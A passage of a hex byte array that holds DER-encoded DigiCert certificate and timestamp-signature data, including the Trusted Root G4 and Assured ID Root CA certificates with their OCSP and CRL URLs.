0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x41, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30,
0x02, 0x86, 0x35, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x61, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2E, 0x64, 0x69,
0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x54,
0x72, 0x75, 0x73, 0x74, 0x65, 0x64, 0x52, 0x6F, 0x6F, 0x74, 0x47, 0x34, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x43, 0x06, 0x03,
0x55, 0x1D, 0x1F, 0x04, 0x3C, 0x30, 0x3A, 0x30, 0x38, 0xA0, 0x36, 0xA0, 0x34, 0x86, 0x32, 0x68, 0x74, 0x74, 0x70, 0x3A,
0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x33, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F,
0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x54, 0x72, 0x75, 0x73, 0x74, 0x65, 0x64, 0x52, 0x6F, 0x6F, 0x74, 0x47,
0x34, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x20, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x19, 0x30, 0x17, 0x30, 0x08, 0x06, 0x06,
0x67, 0x81, 0x0C, 0x01, 0x04, 0x02, 0x30, 0x0B, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xFD, 0x6C, 0x07, 0x01, 0x30,
0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x17,
0xCE, 0xFB, 0x16, 0x80, 0x1C, 0xFE, 0x07, 0x3D, 0x11, 0x76, 0x71, 0x30, 0xBD, 0xBE, 0x0B, 0xC8, 0xB5, 0x34, 0xA6, 0x7F,
0xCD, 0xD0, 0x87, 0xC5, 0x88, 0x1A, 0x30, 0x7F, 0x4F, 0xC3, 0x9B, 0x5C, 0x06, 0x73, 0xF0, 0xE8, 0xEE, 0x85, 0x4C, 0x63,
0x69, 0xA1, 0x5D, 0x95, 0xE3, 0x0C, 0xD2, 0x50, 0x6B, 0xC8, 0xF4, 0xD0, 0x33, 0x6A, 0x84, 0x24, 0xF7, 0xB7, 0xEB, 0x3C,
0x1B, 0x48, 0x8F, 0xE6, 0x4B, 0xCD, 0xDA, 0x7E, 0xC9, 0x77, 0x61, 0x38, 0xFE, 0x21, 0x08, 0x50, 0x13, 0xB8, 0xD4, 0xFE,
0x45, 0xE3, 0x8F, 0x2B, 0x49, 0x82, 0x79, 0xF4, 0x86, 0xFA, 0xD5, 0xEA, 0x1A, 0x96, 0x19, 0xDD, 0xEB, 0x2C, 0x05, 0x2D,
0xEA, 0xF2, 0x72, 0xF6, 0x53, 0x03, 0x3E, 0x34, 0xCB, 0xC4, 0xB8, 0x17, 0x7F, 0xDA, 0xF9, 0x9D, 0x63, 0x10, 0xC2, 0xBF,
0x0C, 0xC9, 0xBF, 0x6B, 0x11, 0x52, 0x82, 0x84, 0x7C, 0x9F, 0xA7, 0x37, 0x9E, 0xE6, 0x41, 0xF4, 0x17, 0xC1, 0xC0, 0x04,
0x18, 0x2B, 0xD1, 0x47, 0x6A, 0x8A, 0xB6, 0x7B, 0x6E, 0x8C, 0x1E, 0xF5, 0x58, 0xF6, 0x00, 0x83, 0x03, 0xF2, 0x58, 0xB2,
0xAE, 0xE9, 0x19, 0xDA, 0x20, 0x3F, 0xC1, 0xD1, 0xB6, 0xB6, 0x1F, 0x72, 0xD4, 0x8B, 0x00, 0xD1, 0x01, 0x7C, 0x75, 0x35,
0xEA, 0xBD, 0xC9, 0xD3, 0x9A, 0x97, 0xDE, 0x42, 0x1D, 0xF9, 0x93, 0x9C, 0xCE, 0x08, 0xF9, 0x92, 0x36, 0xAD, 0x54, 0x1F,
0x8D, 0x74, 0x00, 0xD5, 0x64, 0xA3, 0x8D, 0xFE, 0x09, 0xD9, 0xAE, 0xE3, 0x2F, 0x35, 0x86, 0x36, 0xA3, 0x57, 0xF8, 0x31,
0x74, 0x49, 0x0C, 0xC7, 0x53, 0x4A, 0x53, 0x8B, 0x87, 0x41, 0xC2, 0x9F, 0x67, 0x10, 0x2F, 0x04, 0x02, 0xAA, 0x31, 0x5B,
0xAA, 0xB5, 0xEE, 0xBD, 0x33, 0xD2, 0x7A, 0x03, 0x8E, 0xCE, 0xBE, 0x04, 0x5A, 0x3E, 0xCF, 0xB6, 0xCA, 0x48, 0x1C, 0x19,
0x5D, 0x34, 0x4D, 0x8A, 0xF6, 0x2E, 0xBD, 0xED, 0xCB, 0xDA, 0x88, 0x8A, 0x36, 0xA7, 0xAD, 0x44, 0x77, 0x6A, 0x7C, 0xC4,
0xC2, 0x5B, 0xF3, 0x66, 0x28, 0xB2, 0x7D, 0x33, 0xE3, 0x2D, 0xB9, 0xC5, 0x46, 0xC8, 0xEC, 0x62, 0x0D, 0xFD, 0x3A, 0x55,
0x7C, 0x72, 0x2A, 0x43, 0xA2, 0xAE, 0xFE, 0xA8, 0xD3, 0x63, 0xA8, 0x5C, 0xDE, 0x1B, 0x17, 0x32, 0xB4, 0xBE, 0x53, 0x4C,
0xB2, 0xF8, 0x65, 0xAA, 0x01, 0x76, 0xA6, 0xE1, 0x3A, 0x16, 0x77, 0x65, 0x10, 0xD4, 0xA6, 0x13, 0xEF, 0x49, 0x19, 0x8C,
0x4E, 0x18, 0xB4, 0xBF, 0x0F, 0x6F, 0x38, 0x34, 0x73, 0x5B, 0xA0, 0x31, 0x9C, 0x99, 0x65, 0xDF, 0xC1, 0x74, 0x72, 0xE2,
0x46, 0xEE, 0xE1, 0x01, 0x61, 0x3A, 0x6D, 0x31, 0x26, 0xE1, 0x76, 0x11, 0x90, 0x0E, 0x93, 0x97, 0x82, 0x92, 0x14, 0xB1,
0x64, 0xE3, 0x77, 0xAC, 0x69, 0x47, 0xAA, 0x1A, 0x41, 0xFF, 0xC3, 0x25, 0xB8, 0x37, 0xB3, 0xA2, 0x82, 0x2C, 0xF0, 0x25,
0x67, 0xAE, 0x91, 0xCC, 0x88, 0x3D, 0xB0, 0x2F, 0x8D, 0x26, 0x9B, 0x9D, 0xFE, 0xFE, 0x3E, 0xED, 0x15, 0xAC, 0x58, 0x28,
0x8A, 0x8B, 0xD1, 0x0E, 0x2C, 0xB1, 0xDF, 0x31, 0x1D, 0x99, 0xC8, 0x9F, 0xFE, 0xC6, 0x10, 0xB1, 0xF7, 0x21, 0xDB, 0xC6,
0xD9, 0x79, 0x4C, 0xF6, 0xAE, 0xD6, 0x3F, 0xF5, 0x30, 0x80, 0xE9, 0x30, 0xFC, 0x74, 0x2D, 0xC9, 0x13, 0x7A, 0xD8, 0x92,
0xB8, 0x4B, 0x50, 0xBC, 0xBB, 0x0D, 0xCF, 0x74, 0x1B, 0xA7, 0xBC, 0x06, 0x5A, 0xA6, 0xC8, 0x88, 0xE5, 0x82, 0x9D, 0xBE,
0x56, 0xAB, 0x12, 0xF7, 0xFC, 0x10, 0x0F, 0xBC, 0x85, 0xCA, 0x52, 0x33, 0xD2, 0xC7, 0x26, 0x6C, 0xAB, 0xC5, 0xA1, 0x6D,
0xA3, 0x36, 0xB6, 0xCC, 0xD6, 0x90, 0xF6, 0x4F, 0xB9, 0xB7, 0x5C, 0x30, 0x82, 0x05, 0x8D, 0x30, 0x82, 0x04, 0x75, 0xA0,
0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x0E, 0x9B, 0x18, 0x8E, 0xF9, 0xD0, 0x2D, 0xE7, 0xEF, 0xDB, 0x50, 0xE2, 0x08, 0x40,
0x18, 0x5A, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0C, 0x05, 0x00, 0x30, 0x65, 0x31,
0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04,
0x0A, 0x13, 0x0C, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x49, 0x6E, 0x63, 0x31, 0x19, 0x30, 0x17, 0x06,
0x03, 0x55, 0x04, 0x0B, 0x13, 0x10, 0x77, 0x77, 0x77, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63,
0x6F, 0x6D, 0x31, 0x24, 0x30, 0x22, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1B, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72,
0x74, 0x20, 0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x20, 0x49, 0x44, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x41,
0x30, 0x1E, 0x17, 0x0D, 0x32, 0x32, 0x30, 0x38, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x33,
0x31, 0x31, 0x31, 0x30, 0x39, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03,
0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0C, 0x44, 0x69,
0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x49, 0x6E, 0x63, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13,
0x10, 0x77, 0x77, 0x77, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x31, 0x21, 0x30,
0x1F, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x18, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x54, 0x72, 0x75,
0x73, 0x74, 0x65, 0x64, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x47, 0x34, 0x30, 0x82, 0x02, 0x22, 0x30, 0x0D, 0x06, 0x09,
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x02, 0x0F, 0x00, 0x30, 0x82, 0x02, 0x0A,
0x02, 0x82, 0x02, 0x01, 0x00, 0xBF, 0xE6, 0x90, 0x73, 0x68, 0xDE, 0xBB, 0xE4, 0x5D, 0x4A, 0x3C, 0x30, 0x22, 0x30, 0x69,
0x33, 0xEC, 0xC2, 0xA7, 0x25, 0x2E, 0xC9, 0x21, 0x3D, 0xF2, 0x8A, 0xD8, 0x59, 0xC2, 0xE1, 0x29, 0xA7, 0x3D, 0x58, 0xAB,
0x76, 0x9A, 0xCD, 0xAE, 0x7B, 0x1B, 0x84, 0x0D, 0xC4, 0x30, 0x1F, 0xF3, 0x1B, 0xA4, 0x38, 0x16, 0xEB, 0x56, 0xC6, 0x97,
0x6D, 0x1D, 0xAB, 0xB2, 0x79, 0xF2, 0xCA, 0x11, 0xD2, 0xE4, 0x5F, 0xD6, 0x05, 0x3C, 0x52, 0x0F, 0x52, 0x1F, 0xC6, 0x9E,
0x15, 0xA5, 0x7E, 0xBE, 0x9F, 0xA9, 0x57, 0x16, 0x59, 0x55, 0x72, 0xAF, 0x68, 0x93, 0x70, 0xC2, 0xB2, 0xBA, 0x75, 0x99,
0x6A, 0x73, 0x32, 0x94, 0xD1, 0x10, 0x44, 0x10, 0x2E, 0xDF, 0x82, 0xF3, 0x07, 0x84, 0xE6, 0x74, 0x3B, 0x6D, 0x71, 0xE2,
0x2D, 0x0C, 0x1B, 0xEE, 0x20, 0xD5, 0xC9, 0x20, 0x1D, 0x63, 0x29, 0x2D, 0xCE, 0xEC, 0x5E, 0x4E, 0xC8, 0x93, 0xF8, 0x21,
0x61, 0x9B, 0x34, 0xEB, 0x05, 0xC6, 0x5E, 0xEC, 0x5B, 0x1A, 0xBC, 0xEB, 0xC9, 0xCF, 0xCD, 0xAC, 0x34, 0x40, 0x5F, 0xB1,
0x7A, 0x66, 0xEE, 0x77, 0xC8, 0x48, 0xA8, 0x66, 0x57, 0x57, 0x9F, 0x54, 0x58, 0x8E, 0x0C, 0x2B, 0xB7, 0x4F, 0xA7, 0x30,
0xD9, 0x56, 0xEE, 0xCA, 0x7B, 0x5D, 0xE3, 0xAD, 0xC9, 0x4F, 0x5E, 0xE5, 0x35, 0xE7, 0x31, 0xCB, 0xDA, 0x93, 0x5E, 0xDC,
0x8E, 0x8F, 0x80, 0xDA, 0xB6, 0x91, 0x98, 0x40, 0x90, 0x79, 0xC3, 0x78, 0xC7, 0xB6, 0xB1, 0xC4, 0xB5, 0x6A, 0x18, 0x38,
0x03, 0x10, 0x8D, 0xD8, 0xD4, 0x37, 0xA4, 0x2E, 0x05, 0x7D, 0x88, 0xF5, 0x82, 0x3E, 0x10, 0x91, 0x70, 0xAB, 0x55, 0x82,
0x41, 0x32, 0xD7, 0xDB, 0x04, 0x73, 0x2A, 0x6E, 0x91, 0x01, 0x7C, 0x21, 0x4C, 0xD4, 0xBC, 0xAE, 0x1B, 0x03, 0x75, 0x5D,
0x78, 0x66, 0xD9, 0x3A, 0x31, 0x44, 0x9A, 0x33, 0x40, 0xBF, 0x08, 0xD7, 0x5A, 0x49, 0xA4, 0xC2, 0xE6, 0xA9, 0xA0, 0x67,
0xDD, 0xA4, 0x27, 0xBC, 0xA1, 0x4F, 0x39, 0xB5, 0x11, 0x58, 0x17, 0xF7, 0x24, 0x5C, 0x46, 0x8F, 0x64, 0xF7, 0xC1, 0x69,
0x88, 0x76, 0x98, 0x76, 0x3D, 0x59, 0x5D, 0x42, 0x76, 0x87, 0x89, 0x97, 0x69, 0x7A, 0x48, 0xF0, 0xE0, 0xA2, 0x12, 0x1B,
0x66, 0x9A, 0x74, 0xCA, 0xDE, 0x4B, 0x1E, 0xE7, 0x0E, 0x63, 0xAE, 0xE6, 0xD4, 0xEF, 0x92, 0x92, 0x3A, 0x9E, 0x3D, 0xDC,
0x00, 0xE4, 0x45, 0x25, 0x89, 0xB6, 0x9A, 0x44, 0x19, 0x2B, 0x7E, 0xC0, 0x94, 0xB4, 0xD2, 0x61, 0x6D, 0xEB, 0x33, 0xD9,
0xC5, 0xDF, 0x4B, 0x04, 0x00, 0xCC, 0x7D, 0x1C, 0x95, 0xC3, 0x8F, 0xF7, 0x21, 0xB2, 0xB2, 0x11, 0xB7, 0xBB, 0x7F, 0xF2,
0xD5, 0x8C, 0x70, 0x2C, 0x41, 0x60, 0xAA, 0xB1, 0x63, 0x18, 0x44, 0x95, 0x1A, 0x76, 0x62, 0x7E, 0xF6, 0x80, 0xB0, 0xFB,
0xE8, 0x64, 0xA6, 0x33, 0xD1, 0x89, 0x07, 0xE1, 0xBD, 0xB7, 0xE6, 0x43, 0xA4, 0x18, 0xB8, 0xA6, 0x77, 0x01, 0xE1, 0x0F,
0x94, 0x0C, 0x21, 0x1D, 0xB2, 0x54, 0x29, 0x25, 0x89, 0x6C, 0xE5, 0x0E, 0x52, 0x51, 0x47, 0x74, 0xBE, 0x26, 0xAC, 0xB6,
0x41, 0x75, 0xDE, 0x7A, 0xAC, 0x5F, 0x8D, 0x3F, 0xC9, 0xBC, 0xD3, 0x41, 0x11, 0x12, 0x5B, 0xE5, 0x10, 0x50, 0xEB, 0x31,
0xC5, 0xCA, 0x72, 0x16, 0x22, 0x09, 0xDF, 0x7C, 0x4C, 0x75, 0x3F, 0x63, 0xEC, 0x21, 0x5F, 0xC4, 0x20, 0x51, 0x6B, 0x6F,
0xB1, 0xAB, 0x86, 0x8B, 0x4F, 0xC2, 0xD6, 0x45, 0x5F, 0x9D, 0x20, 0xFC, 0xA1, 0x1E, 0xC5, 0xC0, 0x8F, 0xA2, 0xB1, 0x7E,
0x0A, 0x26, 0x99, 0xF5, 0xE4, 0x69, 0x2F, 0x98, 0x1D, 0x2D, 0xF5, 0xD9, 0xA9, 0xB2, 0x1D, 0xE5, 0x1B, 0x02, 0x03, 0x01,
0x00, 0x01, 0xA3, 0x82, 0x01, 0x3A, 0x30, 0x82, 0x01, 0x36, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF,
0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0xEC, 0xD7,
0xE3, 0x82, 0xD2, 0x71, 0x5D, 0x64, 0x4C, 0xDF, 0x2E, 0x67, 0x3F, 0xE7, 0xBA, 0x98, 0xAE, 0x1C, 0x0F, 0x4F, 0x30, 0x1F,
0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x45, 0xEB, 0xA2, 0xAF, 0xF4, 0x92, 0xCB, 0x82, 0x31,
0x2D, 0x51, 0x8B, 0xA7, 0xA7, 0x21, 0x9D, 0xF3, 0x6D, 0xC8, 0x0F, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01,
0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x79, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04,
0x6D, 0x30, 0x6B, 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74,
0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F,
0x6D, 0x30, 0x43, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x37, 0x68, 0x74, 0x74, 0x70, 0x3A,
0x2F, 0x2F, 0x63, 0x61, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63,
0x6F, 0x6D, 0x2F, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x49, 0x44,
0x52, 0x6F, 0x6F, 0x74, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x45, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x3E, 0x30,
0x3C, 0x30, 0x3A, 0xA0, 0x38, 0xA0, 0x36, 0x86, 0x34, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x33,
0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65,
0x72, 0x74, 0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x49, 0x44, 0x52, 0x6F, 0x6F, 0x74, 0x43, 0x41, 0x2E, 0x63, 0x72,
0x6C, 0x30, 0x11, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, 0x55, 0x1D, 0x20, 0x00,
0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0C, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00,
0x70, 0xA0, 0xBF, 0x43, 0x5C, 0x55, 0xE7, 0x38, 0x5F, 0xA0, 0xA3, 0x74, 0x1B, 0x3D, 0xB6, 0x16, 0xD7, 0xF7, 0xBF, 0x57,
0x07, 0xBD, 0x9A, 0xAC, 0xA1, 0x87, 0x2C, 0xEC, 0x85, 0x5E, 0xA9, 0x1A, 0xBB, 0x22, 0xF8, 0x87, 0x1A, 0x69, 0x54, 0x22,
0xED, 0xA4, 0x88, 0x77, 0x6D, 0xBD, 0x1A, 0x14, 0xF4, 0x13, 0x4A, 0x7A, 0x2F, 0x2D, 0xB7, 0x38, 0xEF, 0xF4, 0xFF, 0x80,
0xB9, 0xF8, 0xA1, 0xF7, 0xF2, 0x72, 0xDE, 0x24, 0xBC, 0x52, 0x03, 0xC8, 0x4E, 0xD0, 0x2A, 0xDE, 0xFA, 0x2D, 0x56, 0xCF,
0xF9, 0xF4, 0xF7, 0xAC, 0x30, 0x7A, 0x9A, 0x8B, 0xB2, 0x5E, 0xD4, 0xCF, 0xD1, 0x43, 0x44, 0x9B, 0x43, 0x21, 0xEB, 0x96,
0x72, 0xA1, 0x48, 0xB4, 0x99, 0xCB, 0x9D, 0x4F, 0xA7, 0x06, 0x03, 0x13, 0x77, 0x27, 0x44, 0xD4, 0xE7, 0x7F, 0xE8, 0x59,
0xA8, 0xF0, 0xBF, 0x2F, 0x0B, 0xA6, 0xE9, 0xF2, 0x34, 0x3C, 0xEC, 0xF7, 0x03, 0xC7, 0x87, 0xA8, 0xD2, 0x4C, 0x40, 0x19,
0x35, 0x46, 0x6A, 0x69, 0x54, 0xB0, 0xB8, 0xA1, 0x56, 0x8E, 0xEC, 0xA4, 0xD5, 0x3D, 0xE8, 0xB1, 0xDC, 0xFD, 0x1C, 0xD8,
0xF4, 0x77, 0x5A, 0x5C, 0x54, 0x8C, 0x6F, 0xEF, 0xA1, 0x50, 0x3D, 0xFC, 0x76, 0x09, 0x68, 0x84, 0x9F, 0x6F, 0xCA, 0xDB,
0x20, 0x8D, 0x35, 0x60, 0x1C, 0x02, 0x03, 0xCB, 0x20, 0xB0, 0xAC, 0x58, 0xA0, 0x0E, 0x40, 0x63, 0xC5, 0x98, 0x22, 0xC1,
0xB2, 0x59, 0xF5, 0x55, 0x6B, 0xCF, 0x27, 0xAB, 0x6C, 0x76, 0xCE, 0x6F, 0x23, 0x2D, 0xF4, 0x7E, 0x71, 0x6A, 0x23, 0x6B,
0x22, 0xFF, 0x12, 0xB8, 0x54, 0x2D, 0x27, 0x7E, 0xD8, 0x3A, 0xD9, 0xF0, 0xB6, 0x87, 0x96, 0xFD, 0x5B, 0xD1, 0x5C, 0xAC,
0x18, 0xC3, 0x4D, 0x9F, 0x73, 0xB7, 0x01, 0xA9, 0x9F, 0x57, 0xAA, 0x5E, 0x28, 0xE2, 0xB9, 0x94, 0x31, 0x82, 0x03, 0x7C,
0x30, 0x82, 0x03, 0x78, 0x02, 0x01, 0x01, 0x30, 0x7D, 0x30, 0x69, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06,
0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x44, 0x69, 0x67, 0x69, 0x43,
0x65, 0x72, 0x74, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x41, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x38,
0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x65, 0x64, 0x20, 0x47, 0x34, 0x20,
0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x52, 0x53, 0x41, 0x34, 0x30, 0x39, 0x36,
0x20, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x20, 0x32, 0x30, 0x32, 0x35, 0x20, 0x43, 0x41, 0x31, 0x02, 0x10, 0x0A, 0x80,
0xEF, 0x18, 0x4B, 0x8D, 0xF1, 0x05, 0x82, 0xD1, 0xC4, 0x76, 0xA7, 0x95, 0x74, 0x68, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xA0, 0x81, 0xD1, 0x30, 0x1A, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86,
0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0D, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04,
0x30, 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, 0x31, 0x0F, 0x17, 0x0D, 0x32, 0x36, 0x30,
0x34, 0x32, 0x35, 0x30, 0x32, 0x33, 0x33, 0x35, 0x35, 0x5A, 0x30, 0x2B, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D,
0x01, 0x09, 0x10, 0x02, 0x0C, 0x31, 0x1C, 0x30, 0x1A, 0x30, 0x18, 0x30, 0x16, 0x04, 0x14, 0xDD, 0x62, 0x30, 0xAC, 0x86,
0x0A, 0x2D, 0x30, 0x6B, 0xDA, 0x38, 0xB1, 0x68, 0x79, 0x52, 0x30, 0x07, 0xFB, 0x41, 0x7E, 0x30, 0x2F, 0x06, 0x09, 0x2A,
0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, 0x81, 0x21, 0x92, 0x08, 0x64, 0xB2, 0xFA, 0x0A,
0x44, 0x19, 0xC0, 0x59, 0x47, 0x86, 0xE9, 0x42, 0xAD, 0xB5, 0x17, 0x01, 0xBF, 0x9C, 0x2A, 0x68, 0x0D, 0x09, 0x5D, 0x10,
0x2A, 0x27, 0xEF, 0xDA, 0x30, 0x37, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x02, 0x2F, 0x31,
0x28, 0x30, 0x26, 0x30, 0x24, 0x30, 0x22, 0x04, 0x20, 0x4A, 0xA0, 0x3F, 0xA2, 0x2C, 0xD7, 0x5C, 0x84, 0xC5, 0x5C, 0x93,
0x8F, 0x82, 0x8E, 0x67, 0x6B, 0x9C, 0xAE, 0xCA, 0xB3, 0x3F, 0xE3, 0x6D, 0x26, 0x9A, 0xA3, 0x34, 0xF1, 0x46, 0x11, 0x0A,
0x33, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x02, 0x00,
0x38, 0x30, 0x43, 0xF5, 0x19, 0x7A, 0x3C, 0x2A, 0xD6, 0x3A, 0x9C, 0x58, 0x4C, 0x88, 0x94, 0xE8, 0x77, 0x79, 0xD9, 0xCE,
0x0D, 0xCB, 0xAB, 0x57, 0xD3, 0xFA, 0xF2, 0xF4, 0x1F, 0xD1, 0x1B, 0x7C, 0xFA, 0xA2, 0x13, 0x2D, 0x3C, 0xE1, 0xA5, 0x49,
0x05, 0x09, 0xDE, 0xDF, 0x75, 0x89, 0x5A, 0x13, 0xD3, 0x87, 0xFF, 0xCE, 0x1B, 0x42, 0xED, 0xB0, 0xBB, 0xAC, 0x88, 0x8A,
0x08, 0xA3, 0x29, 0x25, 0xE0, 0xFE, 0xD7, 0xEE, 0x8C, 0x83, 0x47, 0xCC, 0x33, 0x5E, 0xFD, 0x29, 0x93, 0xB3, 0x10, 0x29,
0x48, 0x76, 0x08, 0xAF, 0x9D, 0x00, 0xF1, 0x14, 0xE9, 0xB3, 0xE1, 0x43, 0x8A, 0xC1, 0x7C, 0xC5, 0x4C, 0x48, 0x94, 0x3B,
0x30, 0x53, 0x7E, 0x31, 0x8B, 0xDB, 0x6C, 0x0E, 0x62, 0x94, 0x11, 0xC1, 0xC9, 0x4C, 0x9E, 0x4A, 0xE2, 0x00, 0x74, 0xFC,
0xEE, 0x3F, 0x91, 0x93, 0x82, 0x23, 0xF8, 0xE0, 0x04, 0xBB, 0x8B, 0xB9, 0x53, 0x2A, 0xD7, 0x72, 0xB3, 0xA2, 0x86, 0x92,
0xB2, 0x75, 0x3A, 0xC4, 0xD5, 0x2B, 0xAF, 0x67, 0xAA, 0xBA, 0xE7, 0x91, 0x57, 0xE9, 0xE3, 0x5F, 0x16, 0x6F, 0xC8, 0x0E,
0x4A, 0xED, 0x18, 0x91, 0xC8, 0x7A, 0xDE, 0x53, 0x50, 0x72, 0x71, 0x0D, 0xEB, 0x5F, 0xE9, 0x72, 0xFC, 0x8B, 0x77, 0xC7,
0x27, 0x7C, 0x6E, 0xB4, 0xCC, 0x27, 0x44, 0x04, 0xC0, 0x7D, 0x4B, 0x50, 0x86, 0x9F, 0x2C, 0x5B, 0x61, 0x99, 0xDB, 0x84,
0xB5, 0x6C, 0xBD, 0x53, 0xAD, 0xEB, 0x76, 0x5C, 0xE6, 0x23, 0x10, 0xFD, 0x8C, 0xDC, 0x61, 0x18, 0x30, 0x74, 0x78, 0x01,
